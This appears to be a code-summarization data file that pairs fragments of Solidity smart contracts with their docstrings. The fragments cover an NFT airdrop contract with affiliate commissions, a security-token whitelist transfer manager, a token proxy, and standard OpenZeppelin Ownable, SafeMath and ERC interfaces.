}
distributeCommission(_recipients.length, _affiliateAddress);
emit TokenAirdrop(msg.sender, _addressOfToken, _recipients.length);
return true;
}
/**
* Send the owner and affiliates commissions.
**/
function distributeCommission(uint256 _drops, address _affiliateAddress) internal {
if(_affiliateAddress != address(0)) {
uint256 profitSplit = _drops.mul(dropUnitPrice).div(2);
payable(owner).transfer(profitSplit);
payable(_affiliateAddress).transfer(profitSplit);
emit CommissionPaid(_affiliateAddress, profitSplit);
} else {
payable(owner).transfer(_drops.mul(dropUnitPrice));
}
}
/**
* Allows for any ERC20 tokens which have been mistakenly sent to this contract to be returned
* to the original sender by the owner of the contract. Any attempt made by any other account
* to invoke the function will result in a loss of gas and no tokens will be transferred out.
*
* @param _addressOfToken The contract address of an ERC20 token.
* @param _recipient The address which will receive tokens.
* @param _value The amount of tokens to refund.
*
* @return true if function executes successfully, false otherwise.
* */
function withdrawERC20Tokens(address _addressOfToken, address _recipient, uint256 _value) public onlyOwner returns(bool){
require(
_addressOfToken != address(0)
&& _recipient != address(0)
&& _value > 0
);
ERCInterface token = ERCInterface(_addressOfToken);
token.transfer(_recipient, _value);
emit ERC20TokensWithdrawn(_addressOfToken, _recipient, _value);
return true;
}
/**
* Allows for the minting and distribution of an ERC721 token to be transferred to multiple recipients at
* a time.
*
* @param _recipients The list of addresses which will receive tokens.
* @param _nftContract The NFT collection contract where tokens are sent from.
* @param _tokenURI The URI for the NFT metadata.
* @param _affiliateAddress The affiliate address that is paid a commission.affiliated with a partner, they will provide this code so that
* the parter is paid commission.
*
* @return true if function executes successfully, false otherwise.
* */
function nftAirdrop(address[] memory _recipients, address _nftContract, string memory _tokenURI, address _affiliateAddress) public payable returns(bool) {
uint256 price = _recipients.length.mul(dropUnitPrice);
require(
msg.value >= price,
"Not enough ETH sent with transaction!"
);
giveChange(price);
for(uint i = 0; i < _recipients.length; i++) {
if(_recipients[i] != address(0)) {
INFT(_nftContract).mintToCaller(_recipients[i], _tokenURI);
}
}
distributeCommission(_recipients.length, _affiliateAddress);
emit NFTAirdrop(msg.sender, nftAddress, _recipients.length);
return true;
}
/**
* Allows for the distribution of an ERC721 token to be transferred to multiple recipients at
* a time.
*
* @param _recipients The list of addresses which will receive tokens.
* @param _nftContract The NFT collection contract where tokens are sent from.
* @param _tokenIds The list of ids being sent.
* @param _affiliateAddress The affiliate address that is paid a commission.affiliated with a partner, they will provide this code so that
* the parter is paid commission.
*
* @return true if function executes successfully, false otherwise.
* */
function existingNftAirdrop(address[] memory _recipients, address _nftContract, uint256[] memory _tokenIds, address _affiliateAddress) public payable returns(bool) {
uint256 price = _recipients.length.mul(dropUnitPrice);
require(
msg.value >= price,
"Not enough ETH sent with transaction!"
);
giveChange(price);
for(uint i = 0; i < _recipients.length; i++) {
if(_recipients[i] != address(0)) {
IERC721(_nftContract).safeTransferFrom(msg.sender, _recipients[i], _tokenIds[i]);
}
}
distributeCommission(_recipients.length, _affiliateAddress);
emit NFTAirdrop(msg.sender, _nftContract, _recipients.length);
return true;
}
/**
* Allows for the distribution of an ERC721 token to be transferred to multiple recipients at
* a time.
*
* @param _recipients The list of addresses which will receive tokens.
* @param _nftContract The NFT collection contract where tokens are sent from.
* @param _tokenIds The list of ids being sent.
* @param _affiliateAddress The affiliate address that is paid a commission.affiliated with a partner, they will provide this code so that
* the parter is paid commission.
*
* @return true if function executes successfully, false otherwise.
* */
function existing1155NftAirdrop(address[] memory _recipients, address _nftContract, uint256[] memory _tokenIds, uint256[] memory _amounts, address _affiliateAddress) public payable returns(bool) {
uint256 price = _recipients.length.mul(dropUnitPrice);
require(
msg.value >= price,
"Not enough ETH sent with transaction!"
);
giveChange(price);
for(uint i = 0; i < _recipients.length; i++) {
if(_recipients[i] != address(0)) {
IERC1155(_nftContract).safeTransferFrom(msg.sender, _recipients[i], _tokenIds[i], _amounts[i], "");
}
}
distributeCommission(_recipients.length, _affiliateAddress);
emit NFTAirdrop(msg.sender, _nftContract, _recipients.length);
return true;
}
/**
* Allows for the minting and distribution of an ERC721 token to be transferred to multiple recipients at
* a time.
*
* @param _recipients The list of addresses which will receive tokens.
* @param _nftContract The NFT collection contract where tokens are sent from.
* @param _tokenIds The list of ids being sent.
* @param _affiliateAddress The affiliate address that is paid a commission.affiliated with a partner, they will provide this code so that
* the parter is paid commission.
*
* @return true if function executes successfully, false otherwise.
* */
function existingMintNftAirdrop(address[] memory _recipients, address _nftContract, uint256[] memory _tokenIds, address _affiliateAddress) public payable returns(bool) {
uint256 price = _recipients.length.mul(dropUnitPrice);
require(
msg.value >= price,
"Not enough ETH sent with transaction!"
);
giveChange(price);
for(uint i = 0; i < _recipients.length; i++) {
if(_recipients[i] != address(0)) {
IERC721(_nftContract).mint(_recipients[i], _tokenIds[i]);
}
}
distributeCommission(_recipients.length, _affiliateAddress);
emit NFTAirdrop(msg.sender, _nftContract, _recipients.length);
return true;
}
/**
* Allows for the minting and distribution of an ERC721 token to be transferred to multiple recipients at
* a time.
*
* @param _recipients The list of addresses which will receive tokens.
* @param _nftContract The NFT collection contract where tokens are sent from.
* @param _affiliateAddress The affiliate address that is paid a commission.affiliated with a partner, they will provide this code so that
* the parter is paid commission.
*
* @return true if function executes successfully, false otherwise.
* */
function existingSimpleMintNftAirdrop(address[] memory _recipients, address _nftContract, address _affiliateAddress) public payable returns(bool) {
uint256 price = _recipients.length.mul(dropUnitPrice);
require(
msg.value >= price,
"Not enough ETH sent with transaction!"
);
giveChange(price);
for(uint i = 0; i < _recipients.length; i++) {
if(_recipients[i] != address(0)) {
IERC721(_nftContract).mint(_recipients[i]);
}
}
distributeCommission(_recipients.length, _affiliateAddress);
emit NFTAirdrop(msg.sender, _nftContract, _recipients.length);
return true;
}
}
|
Required interface of an ERC721 compliant contract./
|
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function mint(address to, uint256 tokenId) external;
function mint(address to) external;
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
}
| 10,107,653
|
./full_match/5/0x675Cf77B0deb91975f90Cea507D4b3EcFe8E7b5F/sources/contracts/KatnipStaking.sol
|
Returns whether `spender` is allowed to manage `tokenId`. Requirements: - `tokenId` must exist./
|
function _isApprovedOrOwner(
address spender,
uint256 tokenId
) internal view virtual returns (bool) {
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
| 1,855,823
|
./partial_match/1/0x72ac137EB15635A1F371bD89d0a11742F8337214/sources/MasterChef.sol
|
Pancake has to add hidden dummy pools inorder to alter the emission, here we make it simple and transparent to all.
|
function updateEmissionRate(uint256 _MoxiePerBlock) public onlyOwner {
massUpdatePools();
MoxiePerBlock = _MoxiePerBlock;
}
| 4,207,114
|
pragma solidity ^0.4.24;
import "./ITransferManager.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
/////////////////////
// Module permissions
/////////////////////
// Owner WHITELIST FLAGS
// changeIssuanceAddress X X
// changeAllowAllTransfers X X
// changeAllowAllWhitelistTransfers X X
// changeAllowAllWhitelistIssuances X X
// modifyWhitelist X X
// modifyWhitelistMulti X X
/**
* @title Transfer Manager module for core transfer validation functionality
*/
contract GeneralTransferManager is ITransferManager {
using SafeMath for uint256;
//Address from which issuances come
address public issuanceAddress = address(0);
//Address which can sign whitelist changes
address public signingAddress = address(0);
bytes32 public constant WHITELIST = "WHITELIST";
bytes32 public constant FLAGS = "FLAGS";
//from and to timestamps that an investor can send / receive tokens respectively
struct TimeRestriction {
uint256 fromTime;
uint256 toTime;
uint256 expiryTime;
bool canBuyFromSTO;
}
// An address can only send / receive tokens once their corresponding uint256 > block.number
// (unless allowAllTransfers == true or allowAllWhitelistTransfers == true)
mapping (address => TimeRestriction) public whitelist;
//If true, there are no transfer restrictions, for any addresses
bool public allowAllTransfers = false;
//If true, time lock is ignored for transfers (address must still be on whitelist)
bool public allowAllWhitelistTransfers = false;
//If true, time lock is ignored for issuances (address must still be on whitelist)
bool public allowAllWhitelistIssuances = true;
//If true, time lock is ignored for burn transactions
bool public allowAllBurnTransfers = false;
// Emit when Issuance address get changed
event LogChangeIssuanceAddress(address _issuanceAddress);
// Emit when there is change in the flag variable called allowAllTransfers
event LogAllowAllTransfers(bool _allowAllTransfers);
// Emit when there is change in the flag variable called allowAllWhitelistTransfers
event LogAllowAllWhitelistTransfers(bool _allowAllWhitelistTransfers);
// Emit when there is change in the flag variable called allowAllWhitelistIssuances
event LogAllowAllWhitelistIssuances(bool _allowAllWhitelistIssuances);
// Emit when there is change in the flag variable called allowAllBurnTransfers
event LogAllowAllBurnTransfers(bool _allowAllBurnTransfers);
// Emit when there is change in the flag variable called signingAddress
event LogChangeSigningAddress(address _signingAddress);
// Emit when investor details get modified related to their whitelisting
event LogModifyWhitelist(
address _investor,
uint256 _dateAdded,
address _addedBy,
uint256 _fromTime,
uint256 _toTime,
uint256 _expiryTime,
bool _canBuyFromSTO
);
/**
* @notice Constructor
* @param _securityToken Address of the security token
* @param _polyAddress Address of the polytoken
*/
constructor (address _securityToken, address _polyAddress)
public
IModule(_securityToken, _polyAddress)
{
}
/**
* @notice This function returns the signature of configure function
*/
function getInitFunction() public returns(bytes4) {
return bytes4(0);
}
/**
* @notice Used to change the Issuance Address
* @param _issuanceAddress new address for the issuance
*/
function changeIssuanceAddress(address _issuanceAddress) public withPerm(FLAGS) {
issuanceAddress = _issuanceAddress;
emit LogChangeIssuanceAddress(_issuanceAddress);
}
/**
* @notice Used to change the Sigining Address
* @param _signingAddress new address for the signing
*/
function changeSigningAddress(address _signingAddress) public withPerm(FLAGS) {
signingAddress = _signingAddress;
emit LogChangeSigningAddress(_signingAddress);
}
/**
* @notice Used to change the flag
true - It refers there are no transfer restrictions, for any addresses
false - It refers transfers are restricted for all addresses.
* @param _allowAllTransfers flag value
*/
function changeAllowAllTransfers(bool _allowAllTransfers) public withPerm(FLAGS) {
allowAllTransfers = _allowAllTransfers;
emit LogAllowAllTransfers(_allowAllTransfers);
}
/**
* @notice Used to change the flag
true - It refers that time lock is ignored for transfers (address must still be on whitelist)
false - It refers transfers are restricted for all addresses.
* @param _allowAllWhitelistTransfers flag value
*/
function changeAllowAllWhitelistTransfers(bool _allowAllWhitelistTransfers) public withPerm(FLAGS) {
allowAllWhitelistTransfers = _allowAllWhitelistTransfers;
emit LogAllowAllWhitelistTransfers(_allowAllWhitelistTransfers);
}
/**
* @notice Used to change the flag
true - It refers that time lock is ignored for issuances (address must still be on whitelist)
false - It refers transfers are restricted for all addresses.
* @param _allowAllWhitelistIssuances flag value
*/
function changeAllowAllWhitelistIssuances(bool _allowAllWhitelistIssuances) public withPerm(FLAGS) {
allowAllWhitelistIssuances = _allowAllWhitelistIssuances;
emit LogAllowAllWhitelistIssuances(_allowAllWhitelistIssuances);
}
/**
* @notice Used to change the flag
true - It allow to burn the tokens
false - It deactivate the burning mechanism.
* @param _allowAllBurnTransfers flag value
*/
function changeAllowAllBurnTransfers(bool _allowAllBurnTransfers) public withPerm(FLAGS) {
allowAllBurnTransfers = _allowAllBurnTransfers;
emit LogAllowAllBurnTransfers(_allowAllBurnTransfers);
}
/**
* @notice default implementation of verifyTransfer used by SecurityToken
* If the transfer request comes from the STO, it only checks that the investor is in the whitelist
* If the transfer request comes from a token holder, it checks that:
* a) Both are on the whitelist
* b) Seller's sale lockup period is over
* c) Buyer's purchase lockup is over
*/
function verifyTransfer(address _from, address _to, uint256 /*_amount*/, bool /* _isTransfer */) public returns(Result) {
if (!paused) {
if (allowAllTransfers) {
//All transfers allowed, regardless of whitelist
return Result.VALID;
}
if (allowAllBurnTransfers && (_to == address(0))) {
return Result.VALID;
}
if (allowAllWhitelistTransfers) {
//Anyone on the whitelist can transfer, regardless of block number
return (onWhitelist(_to) && onWhitelist(_from)) ? Result.VALID : Result.NA;
}
if (allowAllWhitelistIssuances && _from == issuanceAddress) {
if (!whitelist[_to].canBuyFromSTO && isSTOAttached()) {
return Result.NA;
}
return onWhitelist(_to) ? Result.VALID : Result.NA;
}
//Anyone on the whitelist can transfer provided the blocknumber is large enough
return ((onWhitelist(_from) && whitelist[_from].fromTime <= now) &&
(onWhitelist(_to) && whitelist[_to].toTime <= now)) ? Result.VALID : Result.NA;
}
return Result.NA;
}
/**
* @notice adds or removes addresses from the whitelist.
* @param _investor is the address to whitelist
* @param _fromTime is the moment when the sale lockup period ends and the investor can freely sell his tokens
* @param _toTime is the moment when the purchase lockup period ends and the investor can freely purchase tokens from others
* @param _expiryTime is the moment till investors KYC will be validated. After that investor need to do re-KYC
* @param _canBuyFromSTO is used to know whether the investor is restricted investor or not.
*/
function modifyWhitelist(address _investor, uint256 _fromTime, uint256 _toTime, uint256 _expiryTime, bool _canBuyFromSTO) public withPerm(WHITELIST) {
//Passing a _time == 0 into this function, is equivalent to removing the _investor from the whitelist
whitelist[_investor] = TimeRestriction(_fromTime, _toTime, _expiryTime, _canBuyFromSTO);
emit LogModifyWhitelist(_investor, now, msg.sender, _fromTime, _toTime, _expiryTime, _canBuyFromSTO);
}
/**
* @notice adds or removes addresses from the whitelist.
* @param _investors List of the addresses to whitelist
* @param _fromTimes An array of the moment when the sale lockup period ends and the investor can freely sell his tokens
* @param _toTimes An array of the moment when the purchase lockup period ends and the investor can freely purchase tokens from others
* @param _expiryTimes An array of the moment till investors KYC will be validated. After that investor need to do re-KYC
* @param _canBuyFromSTO An array of boolean values
*/
function modifyWhitelistMulti(
address[] _investors,
uint256[] _fromTimes,
uint256[] _toTimes,
uint256[] _expiryTimes,
bool[] _canBuyFromSTO
) public withPerm(WHITELIST) {
require(_investors.length == _fromTimes.length, "Mismatched input lengths");
require(_fromTimes.length == _toTimes.length, "Mismatched input lengths");
require(_toTimes.length == _expiryTimes.length, "Mismatched input lengths");
require(_canBuyFromSTO.length == _toTimes.length, "Mismatched input length");
for (uint256 i = 0; i < _investors.length; i++) {
modifyWhitelist(_investors[i], _fromTimes[i], _toTimes[i], _expiryTimes[i], _canBuyFromSTO[i]);
}
}
/**
* @notice adds or removes addresses from the whitelist - can be called by anyone with a valid signature
* @param _investor is the address to whitelist
* @param _fromTime is the moment when the sale lockup period ends and the investor can freely sell his tokens
* @param _toTime is the moment when the purchase lockup period ends and the investor can freely purchase tokens from others
* @param _expiryTime is the moment till investors KYC will be validated. After that investor need to do re-KYC
* @param _canBuyFromSTO is used to know whether the investor is restricted investor or not.
* @param _validFrom is the time that this signature is valid from
* @param _validTo is the time that this signature is valid until
* @param _v issuer signature
* @param _r issuer signature
* @param _s issuer signature
*/
function modifyWhitelistSigned(
address _investor,
uint256 _fromTime,
uint256 _toTime,
uint256 _expiryTime,
bool _canBuyFromSTO,
uint256 _validFrom,
uint256 _validTo,
uint8 _v,
bytes32 _r,
bytes32 _s
) public {
require(_validFrom <= now, "ValidFrom is too early");
require(_validTo >= now, "ValidTo is too late");
bytes32 hash = keccak256(abi.encodePacked(this, _investor, _fromTime, _toTime, _expiryTime, _canBuyFromSTO, _validFrom, _validTo));
checkSig(hash, _v, _r, _s);
//Passing a _time == 0 into this function, is equivalent to removing the _investor from the whitelist
whitelist[_investor] = TimeRestriction(_fromTime, _toTime, _expiryTime, _canBuyFromSTO);
emit LogModifyWhitelist(_investor, now, msg.sender, _fromTime, _toTime, _expiryTime, _canBuyFromSTO);
}
/**
* @notice used to verify the signature
*/
function checkSig(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal view {
//Check that the signature is valid
//sig should be signing - _investor, _fromTime, _toTime & _expiryTime and be signed by the issuer address
address signer = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _hash)), _v, _r, _s);
require(signer == ISecurityToken(securityToken).owner() || signer == signingAddress, "Incorrect signer");
}
/**
* @notice Return the permissions flag that are associated with general trnasfer manager
*/
function getPermissions() public view returns(bytes32[]) {
bytes32[] memory allPermissions = new bytes32[](2);
allPermissions[0] = WHITELIST;
allPermissions[1] = FLAGS;
return allPermissions;
}
/**
* @notice Internal function used to check whether the investor is in the whitelist or not
& also checks whether the KYC of investor get expired or not
* @param _investor Address of the investor
*/
function onWhitelist(address _investor) internal view returns(bool) {
return (((whitelist[_investor].fromTime != 0) || (whitelist[_investor].toTime != 0)) &&
(whitelist[_investor].expiryTime >= now));
}
/**
* @notice Internal function use to know whether the STO is attached or not
*/
function isSTOAttached() internal view returns(bool) {
address _sto;
(, _sto,) = ISecurityToken(securityToken).getModule(3, 0);
if (_sto == address(0))
return false;
return true;
}
}
|
_allowAllWhitelistIssuances flag value/
|
function changeAllowAllWhitelistIssuances(bool _allowAllWhitelistIssuances) public withPerm(FLAGS) {
allowAllWhitelistIssuances = _allowAllWhitelistIssuances;
emit LogAllowAllWhitelistIssuances(_allowAllWhitelistIssuances);
}
false - It deactivate the burning mechanism.
| 5,363,217
|
./full_match/1/0x8febd7FD6295cec5C9C277892AA12B271525c2Ea/sources/project_/contracts/Bridge.sol
|
Sets the address of the manager
|
function setManager(address _manager) public onlyOwner {
manager = _manager;
}
| 3,844,959
|
pragma solidity >=0.4.25 <0.7.0;
import "@openzeppelin/contracts/access/roles/WhitelistedRole.sol";
import "../ERC20/IERC20Detailed.sol";
import "./IBankProxy.sol";
contract BankProxy is IBankProxy, WhitelistedRole {
IERC20Detailed private _token;
/**
* @dev Constructor
*/
constructor(IERC20Detailed token) public {
_token = token;
}
/**
* @dev Returns address of the _token
*/
function token() public view returns (address) {
return address(_token);
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public onlyWhitelisted returns (bool) {
return _token.transfer(recipient, amount);
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public onlyWhitelisted returns (bool) {
return _token.approve(spender, amount);
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public onlyWhitelisted returns (bool) {
return _token.transferFrom(sender, recipient, amount);
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public onlyWhitelisted returns (bool) {
return _token.increaseAllowance(spender, addedValue);
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public onlyWhitelisted returns (bool) {
return _token.decreaseAllowance(spender, subtractedValue);
}
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyWhitelisted returns (bool) {
return _token.mint(account, amount);
}
}
|
Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address./
|
function increaseAllowance(address spender, uint256 addedValue) public onlyWhitelisted returns (bool) {
return _token.increaseAllowance(spender, addedValue);
}
| 12,536,404
|
// SPDX-License-Identifier: MIT
// File nft_contracts/utils/Context.sol
// OpenZeppelin Contracts v4.3.2 (utils/Context.sol)
pragma solidity 0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File nft_contracts/utils/Ownable.sol
// OpenZeppelin Contracts v4.3.2 (access/Ownable.sol)
pragma solidity 0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() external virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) external virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File nft_contracts/library/SafeMath.sol
// OpenZeppelin Contracts v4.3.2 (utils/math/SafeMath.sol)
pragma solidity 0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File nft_contracts/interfaces/IERC20.sol
// OpenZeppelin Contracts v4.3.2 (token/ERC20/IERC20.sol)
pragma solidity 0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File nft_contracts/interfaces/IERC165.sol
// OpenZeppelin Contracts v4.3.2 (utils/introspection/IERC165.sol)
pragma solidity 0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
